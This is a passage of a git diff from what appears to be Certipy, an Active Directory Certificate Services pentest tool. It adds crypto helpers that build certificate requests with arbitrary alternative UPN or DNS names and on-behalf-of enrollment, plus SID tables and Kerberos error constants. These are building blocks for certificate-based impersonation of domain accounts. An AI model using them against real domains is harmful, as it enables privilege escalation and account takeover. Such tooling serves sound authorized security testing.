cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.asymmetric import padding, rsa +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives.padding import PKCS7 +from cryptography.hazmat.primitives.serialization import ( + Encoding, + NoEncryption, + PrivateFormat, + PublicFormat, + pkcs12, +) +from cryptography.x509 import SubjectKeyIdentifier +from cryptography.x509.oid import ExtensionOID, NameOID +from impacket.dcerpc.v5.nrpc import checkNullString +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.char import UTF8String + +from certipy.lib.logger import logging + +DN_MAP = { + "CN": NameOID.COMMON_NAME, + "SN": NameOID.SURNAME, + "SERIALNUMBER": NameOID.SERIAL_NUMBER, + "C": NameOID.COUNTRY_NAME, + "L": NameOID.LOCALITY_NAME, + "S": NameOID.STATE_OR_PROVINCE_NAME, + "ST": NameOID.STATE_OR_PROVINCE_NAME, + "STREET": NameOID.STREET_ADDRESS, + "O": NameOID.ORGANIZATION_NAME, + "OU": NameOID.ORGANIZATIONAL_UNIT_NAME, + "T": NameOID.TITLE, + "TITLE": NameOID.TITLE, + "G": NameOID.GIVEN_NAME, + "GN": NameOID.GIVEN_NAME, + "E": NameOID.EMAIL_ADDRESS, + "UID": NameOID.USER_ID, + "DC": NameOID.DOMAIN_COMPONENT, +} + +PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") + +NTDS_CA_SECURITY_EXT = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2") + + +szOID_RENEWAL_CERTIFICATE = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.13.1") +szOID_ENCRYPTED_KEY_HASH = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.21.21") +szOID_PRINCIPAL_NAME = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") +szOID_ENCRYPTED_KEY_HASH = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.21.21") +szOID_CMC_ADD_ATTRIBUTES = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.10.10.1") + + +class TaggedCertificationRequest(asn1core.Sequence): + _fields = [ + ("bodyPartID", asn1core.Integer), + ("certificationRequest", asn1csr.CertificationRequest), + ] + + +class TaggedRequest(asn1core.Choice): + _alternatives = [ + ("tcr", TaggedCertificationRequest, {"implicit": 0}), + ("crm", asn1core.Any, {"implicit": 1}), + ("orm", asn1core.Any, {"implicit": 2}), + ] + + +class TaggedAttribute(asn1core.Sequence): + _fields = [ + ("bodyPartID", asn1core.Integer), + ("attrType", asn1core.ObjectIdentifier), + ("attrValues", asn1cms.SetOfAny), + ] + + +class TaggedAttributes(asn1core.SequenceOf): + _child_spec = TaggedAttribute + + +class TaggedRequests(asn1core.SequenceOf): + _child_spec = TaggedRequest + + +class TaggedContentInfos(asn1core.SequenceOf): + _child_spec = asn1core.Any # not implemented + + +class OtherMsgs(asn1core.SequenceOf): + _child_spec = asn1core.Any # not implemented + + +class PKIData(asn1core.Sequence): + _fields = [ + ("controlSequence", TaggedAttributes), + ("reqSequence", TaggedRequests), + ("cmsSequence", TaggedContentInfos), + ("otherMsgSequence", OtherMsgs), + ] + + +class CertReference(asn1core.SequenceOf): + _child_spec = asn1core.Integer + + +class CMCAddAttributesInfo(asn1core.Sequence): + _fields = [ + ("data_reference", asn1core.Integer), + ("cert_reference", CertReference), + ("attributes", asn1csr.SetOfAttributes), + ] + + +class EnrollmentNameValuePair(asn1core.Sequence): + _fields = [ + ("name", asn1core.BMPString), + ("value", asn1core.BMPString), + ] + + +class EnrollmentNameValuePairs(asn1core.SetOf): + _child_spec = EnrollmentNameValuePair + + +def cert_id_to_parts(identifications: List[Tuple[str, str]]) -> Tuple[str, str]: + usernames = [] + domains = [] + + if len(identifications) == 0: + return (None, None) + + for id_type, identification in identifications: + if id_type != "DNS Host Name" and id_type != "UPN": + continue + + if id_type == "DNS Host Name": + parts = identification.split(".") + if len(parts) == 1: + cert_username = identification + cert_domain = "" + else: + cert_username = parts[0] + "$" + cert_domain = ".".join(parts[1:]) + elif id_type == "UPN": + parts = identification.split("@") + if len(parts) == 1: + cert_username = identification + cert_domain = "" + else: + cert_username = "@".join(parts[:-1]) + cert_domain = parts[-1] + + usernames.append(cert_username) + domains.append(cert_domain) + return ("_".join(usernames), "_".join(domains)) + + +def csr_to_der(csr: x509.CertificateSigningRequest) -> bytes: + return csr.public_bytes(Encoding.DER) + + +def csr_to_pem(csr: x509.CertificateSigningRequest) -> bytes: + pem = csr.public_bytes(Encoding.PEM) + return csr.public_bytes(Encoding.PEM) + + +def cert_to_pem(cert: x509.Certificate) -> bytes: + return cert.public_bytes(Encoding.PEM) + + +def cert_to_der(cert: x509.Certificate) -> bytes: + return cert.public_bytes(Encoding.DER) + + +def key_to_pem(key: rsa.RSAPrivateKey) -> bytes: + return key.private_bytes( + Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() + ) + + +def key_to_der(key: rsa.RSAPrivateKey) -> bytes: + return key.private_bytes( + Encoding.DER, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption() + ) + + +def der_to_pem(der: bytes, pem_type: str) -> bytes: + pem_type = pem_type.upper() + b64_data = base64.b64encode(der).decode() + return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % ( + pem_type, + "\n".join([b64_data[i : i + 64] for i in range(0, len(b64_data), 64)]), + pem_type, + ) + + +def der_to_csr(csr: bytes) -> x509.CertificateSigningRequest: + return x509.load_der_x509_csr(csr) + + +def der_to_key(key: bytes) -> rsa.RSAPrivateKey: + return serialization.load_der_private_key(key, None) + + +def pem_to_key(key: bytes) -> rsa.RSAPrivateKey: + return serialization.load_pem_private_key(key, None) + + +def der_to_cert(certificate: bytes) -> x509.Certificate: + return x509.load_der_x509_certificate(certificate) + + +def pem_to_cert(certificate: bytes) -> x509.Certificate: + return x509.load_pem_x509_certificate(certificate) + + +def private_key_to_ms_blob(private_key: rsa.RSAPrivateKey): + bitlen = private_key.key_size + private_numbers = private_key.private_numbers() + public_numbers = private_numbers.public_numbers + + bitlen8 = math.ceil(bitlen / 8) + bitlen16 = math.ceil(bitlen / 16) + + return struct.pack( + " Tuple[str, str]: + identifications = [] + try: + san = certificate.extensions.get_extension_for_oid( + ExtensionOID.SUBJECT_ALTERNATIVE_NAME + ) + + for name in san.value.get_values_for_type(x509.OtherName): + if name.type_id == PRINCIPAL_NAME: + identifications.append( + ( + "UPN", + decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(), + ) + ) + + for name in san.value.get_values_for_type(x509.DNSName): + identifications.append(("DNS Host Name", name)) + except: + pass + + return identifications + + +def get_object_sid_from_certificate( + certificate: x509.Certificate, +) -> str: + try: + object_sid = certificate.extensions.get_extension_for_oid(NTDS_CA_SECURITY_EXT) + + sid = object_sid.value.value + return sid[sid.find(b"S-1-5") :].decode() + except: + pass + + return None + + +def create_pfx(key: rsa.RSAPrivateKey, cert: x509.Certificate) -> bytes: + return pkcs12.serialize_key_and_certificates( + name=b"", + key=key, + cert=cert, + cas=None, + encryption_algorithm=NoEncryption(), + ) + + +def load_pfx( + pfx: bytes, password: bytes = None +) -> Tuple[rsa.RSAPrivateKey, x509.Certificate, None]: + return pkcs12.load_key_and_certificates(pfx, password)[:-1] + + +def generate_rsa_key(key_size: int = 2048) -> rsa.RSAPrivateKey: + return rsa.generate_private_key(public_exponent=0x10001, key_size=key_size) + + +def create_csr( + username: str, + alt_dns: bytes = None, + alt_upn: bytes = None, + key: rsa.RSAPrivateKey = None, + key_size: int = 2048, + subject: str = None, + renewal_cert: x509.Certificate = None, +) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]: + if key is None: + logging.debug("Generating RSA key") + key = generate_rsa_key(key_size) + + # csr = asn1csr.CertificationRequest() + certification_request_info = asn1csr.CertificationRequestInfo() + certification_request_info["version"] = "v1" + # csr = x509.CertificateSigningRequestBuilder() + + if subject: + subject_name = get_subject_from_str(subject) + else: + subject_name = x509.Name( + [ + x509.NameAttribute(NameOID.COMMON_NAME, username.capitalize()), + ] + ) + + certification_request_info["subject"] = asn1csr.Name.load( + subject_name.public_bytes() + ) + + public_key = key.public_key().public_bytes( + Encoding.DER, PublicFormat.SubjectPublicKeyInfo + ) + + subject_pk_info = asn1csr.PublicKeyInfo.load(public_key) + certification_request_info["subject_pk_info"] = subject_pk_info + + cri_attributes = [] + if alt_dns or alt_upn: + general_names = [] + + if alt_dns: + if type(alt_dns) == bytes: + alt_dns = alt_dns.decode() + general_names.append(asn1x509.GeneralName({"dns_name": alt_dns})) + + # sans.append(x509.DNSName(alt_dns)) + + if alt_upn: + if type(alt_upn) == bytes: + alt_upn = alt_upn.decode() + + general_names.append( + asn1x509.GeneralName( + { + "other_name": asn1x509.AnotherName( + { + "type_id": szOID_PRINCIPAL_NAME, + "value": asn1x509.UTF8String(alt_upn).retag( + {"explicit": 0} + ), + } + ) + } + ) + ) + + san_extension = asn1x509.Extension( + {"extn_id": "subject_alt_name", "extn_value": general_names} + ) + + set_of_extensions = asn1csr.SetOfExtensions([[san_extension]]) + + cri_attribute = asn1csr.CRIAttribute( + {"type": "extension_request", "values": set_of_extensions} + ) + + cri_attributes.append(cri_attribute) + + if renewal_cert: + cri_attributes.append( + asn1csr.CRIAttribute( + { + "type": "1.3.6.1.4.1.311.13.1", + "values": asn1x509.SetOf( + [asn1x509.Certificate.load(cert_to_der(renewal_cert))], + spec=asn1x509.Certificate, + ), + } + ) + ) + + certification_request_info["attributes"] = cri_attributes + + signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key) + + csr = asn1csr.CertificationRequest( + { + "certification_request_info": certification_request_info, + "signature_algorithm": asn1csr.SignedDigestAlgorithm( + {"algorithm": "sha256_rsa"} + ), + "signature": signature, + } + ) + + return (der_to_csr(csr.dump()), key) + + +def rsa_pkcs1v15_sign( + data: bytes, key: rsa.RSAPrivateKey, hash: hashes.HashAlgorithm = hashes.SHA256 +): + return key.sign(data, padding.PKCS1v15(), hash()) + + +def hash_digest(data: bytes, hash: hashes.Hash): + digest = hashes.Hash(hash()) + digest.update(data) + return digest.finalize() + + +def create_renewal( + request: bytes, + cert: x509.Certificate, + key: rsa.RSAPrivateKey, +): + x509_cert = asn1x509.Certificate.load(cert_to_der(cert)) + signature_hash_algorithm = cert.signature_hash_algorithm.__class__ + + # SignerInfo + + issuer_and_serial = asn1cms.IssuerAndSerialNumber( + { + "issuer": x509_cert.issuer, + "serial_number": x509_cert.serial_number, + } + ) + + digest_algorithm = asn1cms.DigestAlgorithm( + {"algorithm": signature_hash_algorithm.name} + ) + + signed_attribs = asn1cms.CMSAttributes( + [ + asn1cms.CMSAttribute( + { + "type": "1.3.6.1.4.1.311.13.1", + "values": asn1cms.SetOfAny( + [asn1x509.Certificate.load(cert_to_der(cert))], + spec=asn1x509.Certificate, + ), + } + ), + asn1cms.CMSAttribute( + { + "type": "message_digest", + "values": [hash_digest(request, signature_hash_algorithm)], + } + ), + ] + ) + + attribs_signature = rsa_pkcs1v15_sign( + signed_attribs.dump(), key, hash=signature_hash_algorithm + ) + + signer_info = asn1cms.SignerInfo( + { + "version": 1, + "sid": issuer_and_serial, + "digest_algorithm": digest_algorithm, + "signature_algorithm": x509_cert["signature_algorithm"], + "signature": attribs_signature, + "signed_attrs": signed_attribs, + } + ) + + # SignedData + + content_info = asn1cms.EncapsulatedContentInfo( + { + "content_type": "data", + "content": request, + } + ) + + signed_data = asn1cms.SignedData( + { + "version": 3, + "digest_algorithms": [digest_algorithm], + "encap_content_info": content_info, + "certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})], + "signer_infos": [signer_info], + } + ) + + # CMC + + cmc = asn1cms.ContentInfo( + { + "content_type": "signed_data", + "content": signed_data, + } + ) + + return cmc.dump() + + +def create_on_behalf_of( + request: bytes, + on_behalf_of: str, + cert: x509.Certificate, + key: rsa.RSAPrivateKey, +): + x509_cert = asn1x509.Certificate.load(cert_to_der(cert)) + signature_hash_algorithm = cert.signature_hash_algorithm.__class__ + + # SignerInfo + + issuer_and_serial = asn1cms.IssuerAndSerialNumber( + { + "issuer": x509_cert.issuer, + "serial_number": x509_cert.serial_number, + } + ) + + digest_algorithm = asn1cms.DigestAlgorithm( + {"algorithm": signature_hash_algorithm.name} + ) + + requester_name = EnrollmentNameValuePair( + { + "name": checkNullString("requestername"), + "value": checkNullString(on_behalf_of), + } + ) + + signed_attribs = asn1cms.CMSAttributes( + [ + asn1cms.CMSAttribute( + {"type": "1.3.6.1.4.1.311.13.2.1", "values": [requester_name]} + ), + asn1cms.CMSAttribute( + { + "type": "message_digest", + "values": [hash_digest(request, signature_hash_algorithm)], + } + ), + ] + ) + + attribs_signature = rsa_pkcs1v15_sign( + signed_attribs.dump(), key, hash=signature_hash_algorithm + ) + + signer_info = asn1cms.SignerInfo( + { + "version": 1, + "sid": issuer_and_serial, + "digest_algorithm": digest_algorithm, + "signature_algorithm": x509_cert["signature_algorithm"], + "signature": attribs_signature, + "signed_attrs": signed_attribs, + } + ) + + # SignedData + + content_info = asn1cms.EncapsulatedContentInfo( + { + "content_type": "data", + "content": request, + } + ) + + signed_data = asn1cms.SignedData( + { + "version": 3, + "digest_algorithms": [digest_algorithm], + "encap_content_info": content_info, + "certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})], + "signer_infos": [signer_info], + } + ) + + # CMC + + cmc = asn1cms.ContentInfo( + { + "content_type": "signed_data", + "content": signed_data, + } + ) + + return cmc.dump() + + +def create_key_archival( + csr: x509.CertificateSigningRequest, + private_key: rsa.RSAPrivateKey, + cax_cert: x509.Certificate, +): + x509_cax_cert = asn1x509.Certificate.load(cert_to_der(cax_cert)) + x509_csr = asn1csr.CertificationRequest.load(cert_to_der(csr)) + + signature_hash_algorithm = csr.signature_hash_algorithm.__class__ + symmetric_key = os.urandom(32) + iv = os.urandom(16) + cax_key = cax_cert.public_key() + encrypted_key = cax_key.encrypt(symmetric_key, padding.PKCS1v15()) + + # EnvelopedData + + cax_issuer_and_serial = asn1cms.IssuerAndSerialNumber( + { + "issuer": x509_cax_cert.issuer, + "serial_number": x509_cax_cert.serial_number, + } + ) + recipient_info = asn1cms.KeyTransRecipientInfo( + { + "version": 0, + "rid": cax_issuer_and_serial, + "key_encryption_algorithm": asn1cms.KeyEncryptionAlgorithm( + {"algorithm": "rsaes_pkcs1v15"} + ), + "encrypted_key": encrypted_key, + } + ) + + encryption_algorithm = asn1cms.EncryptionAlgorithm( + {"algorithm": "aes256_cbc", "parameters": iv} + ) + + private_key_bytes = private_key_to_ms_blob(private_key) + + cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv)) + + padder = PKCS7(encryption_algorithm.encryption_block_size * 8).padder() + padded_private_key_bytes = padder.update(private_key_bytes) + padder.finalize() + encryptor = cipher.encryptor() + + encrypted_private_key_bytes = ( + encryptor.update(padded_private_key_bytes) + encryptor.finalize() + ) + + encrypted_content_info = asn1cms.EncryptedContentInfo( + { + "content_type": "data", + "content_encryption_algorithm": encryption_algorithm, + "encrypted_content": encrypted_private_key_bytes, + } + ) + + enveloped_data = asn1cms.EnvelopedData( + { + "version": 0, + "recipient_infos": asn1cms.RecipientInfos([recipient_info]), + "encrypted_content_info": encrypted_content_info, + } + ) + + enveloped_data_info = asn1cms.ContentInfo( + { + "content_type": "1.2.840.113549.1.7.3", + "content": enveloped_data, + } + ) + + encrypted_key_hash = hash_digest( + enveloped_data_info.dump(), signature_hash_algorithm + ) + + # PKIData + + attributes = asn1csr.SetOfAttributes( + [ + asn1csr.Attribute( + { + "type": szOID_ENCRYPTED_KEY_HASH, + "values": [asn1core.OctetString(encrypted_key_hash)], + } + ) + ] + ) + + attributes_info = CMCAddAttributesInfo( + {"data_reference": 0, "cert_reference": [1], "attributes": attributes} + ) + + tagged_attribute = TaggedAttribute( + { + "bodyPartID": 2, + "attrType": szOID_CMC_ADD_ATTRIBUTES, + "attrValues": [attributes_info], + } + ) + + tagged_request = TaggedRequest( + { + "tcr": TaggedCertificationRequest( + { + "bodyPartID": 1, + "certificationRequest": asn1csr.CertificationRequest().load( + cert_to_der(csr) + ), + } + ) + } + ) + + pki_data = PKIData( + { + "controlSequence": [tagged_attribute], + "reqSequence": [tagged_request], + "cmsSequence": TaggedContentInfos([]), + "otherMsgSequence": OtherMsgs([]), + } + ) + + pki_data_bytes = pki_data.dump() + + cmc_request_hash = hash_digest(pki_data_bytes, signature_hash_algorithm) + + # SignerInfo + + digest_algorithm = asn1cms.DigestAlgorithm( + {"algorithm": signature_hash_algorithm.name} + ) + + skid = SubjectKeyIdentifier.from_public_key(csr.public_key()).digest + + signed_attribs = asn1cms.CMSAttributes( + [ + asn1cms.CMSAttribute( + {"type": "content_type", "values": ["1.3.6.1.5.5.7.12.2"]} + ), + asn1cms.CMSAttribute( + { + "type": "message_digest", + "values": [cmc_request_hash], + } + ), + ] + ) + + attribs_signature = rsa_pkcs1v15_sign( + signed_attribs.dump(), private_key, hash=signature_hash_algorithm + ) + + signer_info = asn1cms.SignerInfo( + { + "version": 3, + "sid": asn1cms.SignerIdentifier({"subject_key_identifier": skid}), + "digest_algorithm": digest_algorithm, + "signature_algorithm": x509_csr["signature_algorithm"], + "signature": attribs_signature, + "signed_attrs": signed_attribs, + "unsigned_attrs": asn1cms.CMSAttributes( + [ + asn1cms.CMSAttribute( + { + "type": "1.3.6.1.4.1.311.21.13", + "values": [enveloped_data_info], + } + ) + ] + ), + } + ) + + # SignedData + + content_info = asn1cms.EncapsulatedContentInfo( + { + "content_type": "1.3.6.1.5.5.7.12.2", + "content": pki_data_bytes, + } + ) + + signed_data = asn1cms.SignedData( + { + "version": 3, + "digest_algorithms": [digest_algorithm], + "encap_content_info": content_info, + "signer_infos": [signer_info], + } + ) + + # CMC + + cmc = asn1cms.ContentInfo( + { + "content_type": "signed_data", + "content": signed_data, + } + ) + + return cmc.dump() + + +def entry(options: argparse.Namespace) -> None: + cert, key = None, None + + if not any([options.pfx, options.cert, options.key]): + logging.error("-pfx, -cert, or -key is required") + return + + if options.pfx: + password = None + if options.password: + logging.debug( + "Loading PFX %s with password %s" % (repr(options.pfx), password) + ) + password = options.password.encode() + else: + logging.debug("Loading PFX %s without password" % repr(options.pfx)) + + with open(options.pfx, "rb") as f: + pfx = f.read() + + key, cert = load_pfx(pfx, password) + + if options.cert: + logging.debug("Loading certificate from %s" % repr(options.cert)) + + with open(options.cert, "rb") as f: + cert = f.read() + try: + cert = pem_to_cert(cert) + except Exception: + cert = der_to_cert(cert) + + if options.key: + logging.debug("Loading private key from %s" % repr(options.cert)) + + with open(options.key, "rb") as f: + key = f.read() + try: + key = pem_to_key(key) + except Exception: + key = der_to_key(key) + + if options.export: + pfx = create_pfx(key, cert) + if options.out: + logging.info("Writing PFX to %s" % repr(options.out)) + + with open(options.out, "wb") as f: + f.write(pfx) + else: + sys.stdout.buffer.write(pfx) + else: + output = "" + log_str = "" + if cert and not options.nocert: + output += cert_to_pem(cert).decode() + log_str += "certificate" + if key: + log_str += " and " + + if key and not options.nokey: + output += key_to_pem(key).decode() + log_str += "private key" + + if len(output) == 0: + logging.error("Output is empty") + return + + if options.out: + logging.info("Writing %s to %s" % (log_str, repr(options.out))) + + with open(options.out, "w") as f: + f.write(output) + else: + print(output) + + +def dn_to_components(dn): + components = [] + component = "" + escape_sequence = False + for c in dn: + if c == "\\": + escape_sequence = True + elif escape_sequence and c != " ": + escape_sequence = False + elif c == ",": + if "=" in component: + attr_name, _, value = component.partition("=") + component = (attr_name.strip().upper(), value.strip()) + components.append(component) + component = "" + continue + + component += c + + attr_name, _, value = component.partition("=") + component = (attr_name.strip(), value.strip()) + components.append(component) + return components + + +def get_subject_from_str(subject) -> x509.Name: + return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1]) diff --git a/certipy/constants.py b/certipy/lib/constants.py old mode 100644 new mode 100755 similarity index 77% rename from certipy/constants.py rename to certipy/lib/constants.py index 26c2363..fec880f --- a/certipy/constants.py +++ b/certipy/lib/constants.py @@ -1,70 +1,77 @@ import enum -from certipy.structs import IntFlag +from certipy.lib.structs import IntFlag -# http://sctech.weebly.com/well-known-sids.html -WELL_KNOWN_SIDS = { - "S-1-0": "Null Authority", - "S-1-0-0": "Nobody", - "S-1-1": "World Authority", - "S-1-1-0": "Everyone", - "S-1-2": "Local Authority", - "S-1-3": "Creator Authority", - "S-1-3-0": "Creator Owner", - "S-1-3-1": "Creator Group", - "S-1-3-2": "Creator Owner Server", - "S-1-3-3": "Creator Group Server", - "S-1-4": "Non-unique Authority", - "S-1-5": "NT Authority", - "S-1-5-1": "Dialup", - "S-1-5-2": "Network", - "S-1-5-3": "Batch", - "S-1-5-4": "Interactive", - "S-1-5-6": "Service", - "S-1-5-7": "Anonymous", - "S-1-5-8": "Proxy", - "S-1-5-9": "Enterprise Domain Controller", - "S-1-5-10": "Principal Self", - "S-1-5-11": "Authenticated Users", - "S-1-5-12": "Restricted Code", - "S-1-5-13": "Terminal Server Users", - "S-1-5-18": "Local System", - "S-1-5-19": "NT Authority", - "S-1-5-20": "NT Authority", - "S-1-5-32-544": "BUILTIN\\Administrator", - "S-1-5-32-545": "BUILTIN\\User", - "S-1-5-32-546": "BUILTIN\\Guess", - "S-1-5-32-547": "BUILTIN\\Power User", - "S-1-5-32-548": "BUILTIN\\Account Operators", - "S-1-5-32-549": "BUILTIN\\Server Operators", - "S-1-5-32-550": "BUILTIN\\Print Operators", - "S-1-5-32-551": "BUILTIN\\Backup Operators", - "S-1-5-32-552": "BUILTIN\\Replicators", - "S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access", - "S-1-5-32-555": "BUILTIN\\Remote Desktop Users", - "S-1-5-32-556": "BUILTIN\\Network Configuration Operators", - "S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders", - "S-1-5-32-558": "BUILTIN\\Performance Monitor Users", - "S-1-5-32-559": "BUILTIN\\Performance Log Users", - "S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group", - "S-1-5-32-561": "BUILTIN\\Terminal Server License Servers", - "S-1-5-32-562": "BUILTIN\\Distributed COM User", - "S-1-5-32-568": "BUILTIN\\IIS_IUSRS", - "S-1-5-32-569": "BUILTIN\\Cryptograhic Operators", - "S-1-5-32-573": "BUILTIN\\Event Log Readers", - "S-1-5-64-10": "NTLM Authentication", - "S-1-5-64-14": "SChannel Authentication", - "S-1-5-64-21": "Digest Authenitication", - "S-1-5-64-1000": "Other Organization", - "S-1-6": "Site Server Authority An identifier authority", - "S-1-7": "Internet Site Authority An identifier authority", - "S-1-8": "Exchange Authority An identifier authority", - "S-1-9": "Resource Manager Authority An identifier", +# https://github.com/fox-it/BloodHound.py/blob/d665959c58d881900378040e6670fa12f801ccd4/bloodhound/ad/utils.py#L36 +WELLKNOWN_SIDS = { + "S-1-0": ("Null Authority", "USER"), + "S-1-0-0": ("Nobody", "USER"), + "S-1-1": ("World Authority", "USER"), + "S-1-1-0": ("Everyone", "GROUP"), + "S-1-2": ("Local Authority", "USER"), + "S-1-2-0": ("Local", "GROUP"), + "S-1-2-1": ("Console Logon", "GROUP"), + "S-1-3": ("Creator Authority", "USER"), + "S-1-3-0": ("Creator Owner", "USER"), + "S-1-3-1": ("Creator Group", "GROUP"), + "S-1-3-2": ("Creator Owner Server", "COMPUTER"), + "S-1-3-3": ("Creator Group Server", "COMPUTER"), + "S-1-3-4": ("Owner Rights", "GROUP"), + "S-1-4": ("Non-unique Authority", "USER"), + "S-1-5": ("NT Authority", "USER"), + "S-1-5-1": ("Dialup", "GROUP"), + "S-1-5-2": ("Network", "GROUP"), + "S-1-5-3": ("Batch", "GROUP"), + "S-1-5-4": ("Interactive", "GROUP"), + "S-1-5-6": ("Service", "GROUP"), + "S-1-5-7": ("Anonymous", "GROUP"), + "S-1-5-8": ("Proxy", "GROUP"), + "S-1-5-9": ("Enterprise Domain Controllers", "GROUP"), + "S-1-5-10": ("Principal Self", "USER"), + "S-1-5-11": ("Authenticated Users", "GROUP"), + "S-1-5-12": ("Restricted Code", "GROUP"), + "S-1-5-13": ("Terminal Server Users", "GROUP"), + "S-1-5-14": ("Remote Interactive Logon", "GROUP"), + "S-1-5-15": ("This Organization", "GROUP"), + "S-1-5-17": ("IUSR", "USER"), + "S-1-5-18": ("Local System", "USER"), + "S-1-5-19": ("NT Authority", "USER"), + "S-1-5-20": ("Network Service", "USER"), + "S-1-5-80-0": ("All Services ", "GROUP"), + "S-1-5-32-544": ("Administrators", "GROUP"), + "S-1-5-32-545": ("Users", "GROUP"), + "S-1-5-32-546": ("Guests", "GROUP"), + "S-1-5-32-547": ("Power Users", "GROUP"), + "S-1-5-32-548": ("Account Operators", "GROUP"), + "S-1-5-32-549": ("Server Operators", "GROUP"), + "S-1-5-32-550": ("Print Operators", "GROUP"), + "S-1-5-32-551": ("Backup Operators", "GROUP"), + "S-1-5-32-552": ("Replicators", "GROUP"), + "S-1-5-32-554": ("Pre-Windows 2000 Compatible Access", "GROUP"), + "S-1-5-32-555": ("Remote Desktop Users", "GROUP"), + "S-1-5-32-556": ("Network Configuration Operators", "GROUP"), + "S-1-5-32-557": ("Incoming Forest Trust Builders", "GROUP"), + "S-1-5-32-558": ("Performance Monitor Users", "GROUP"), + "S-1-5-32-559": ("Performance Log Users", "GROUP"), + "S-1-5-32-560": ("Windows Authorization Access Group", "GROUP"), + "S-1-5-32-561": ("Terminal Server License Servers", "GROUP"), + "S-1-5-32-562": ("Distributed COM Users", "GROUP"), + "S-1-5-32-568": ("IIS_IUSRS", "GROUP"), + "S-1-5-32-569": ("Cryptographic Operators", "GROUP"), + "S-1-5-32-573": ("Event Log Readers", "GROUP"), + "S-1-5-32-574": ("Certificate Service DCOM Access", "GROUP"), + "S-1-5-32-575": ("RDS Remote Access Servers", "GROUP"), + "S-1-5-32-576": ("RDS Endpoint Servers", "GROUP"), + "S-1-5-32-577": ("RDS Management Servers", "GROUP"), + "S-1-5-32-578": ("Hyper-V Administrators", "GROUP"), + "S-1-5-32-579": ("Access Control Assistance Operators", "GROUP"), + "S-1-5-32-580": ("Access Control Assistance Operators", "GROUP"), } # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 class MS_PKI_CERTIFICATE_NAME_FLAG(IntFlag): + NONE = 0x00000000 ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 ADD_EMAIL = 0x00000002 ADD_OBJ_GUID = 0x00000004 @@ -105,6 +112,25 @@ class MS_PKI_ENROLLMENT_FLAG(IntFlag): ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000 ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 SKIP_AUTO_RENEWAL = 0x00040000 + NO_SECURITY_EXTENSION = 0x00080000 + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667 +class MS_PKI_PRIVATE_KEY_FLAG(IntFlag): + REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 + EXPORTABLE_KEY = 0x00000010 + STRONG_KEY_PROTECTION_REQUIRED = 0x00000020 + REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040 + REQUIRE_SAME_KEY_RENEWAL = 0x00000080 + USE_LEGACY_PROVIDER = 0x00000100 + ATTEST_NONE = 0x00000000 + ATTEST_REQUIRED = 0x00002000 + ATTEST_PREFERRED = 0x00001000 + ATTESTATION_WITHOUT_POLICY = 0x00004000 + EK_TRUST_ON_USE = 0x00000200 + EK_VALIDATE_CERT = 0x00000400 + EK_VALIDATE_KEY = 0x00000800 + HELLO_LOGON_KEY = 0x00200000 # https://github.com/GhostPack/Certify/blob/2b1530309c0c5eaf41b2505dfd5a68c83403d031/Certify/Domain/CertificateAuthority.cs#L23 diff --git a/certipy/lib/errors.py b/certipy/lib/errors.py new file mode 100755 index 0000000..cb6728f --- /dev/null +++ b/certipy/lib/errors.py @@ -0,0 +1,70 @@ +from impacket import hresult_errors +from impacket.krb5.kerberosv5 import constants as krb5_constants + +""" +// RFC 4556 +77: "KDC_ERR_INCONSISTENT_KEY_PURPOSE" +78: "KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED" +79: "KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED" +80: "KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED" +81: "KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED" + // RFC 6113 +90: "KDC_ERR_PREAUTH_EXPIRED" +91: "KDC_ERR_MORE_PREAUTH_DATA_REQUIRED" +92: "KDC_ERR_PREAUTH_BAD_AUTHENTICATION_SET" +93: "KDC_ERR_UNKNOWN_CRITICAL_FAST_OPTIONS" +""" + +KRB5_ERROR_MESSAGES = krb5_constants.ERROR_MESSAGES +if 77 not in KRB5_ERROR_MESSAGES: + KRB5_ERROR_MESSAGES.update( + { + 77: ( + "KDC_ERR_INCONSISTENT_KEY_PURPOSE", + "Certificate cannot be used for PKINIT client authentication", + ), + 78: ( + "KDC_ERR_DIGEST_IN_CERT_NOT_ACCEPTED", + "Digest algorithm for the public key in the certificate is not acceptable by the KDC", + ), + 79: ( + "KDC_ERR_PA_CHECKSUM_MUST_BE_INCLUDED", + "The paChecksum filed in the request is not present", + ), + 80: ( + "KDC_ERR_DIGEST_IN_SIGNED_DATA_NOT_ACCEPTED", + "The digest algorithm used by the id-pkinit-authData is not acceptable by the KDC", + ), + 81: ( + "KDC_ERR_PUBLIC_KEY_ENCRYPTION_NOT_SUPPORTED", + "The KDC does not support the public key encryption key delivery method", + ), + 90: ( 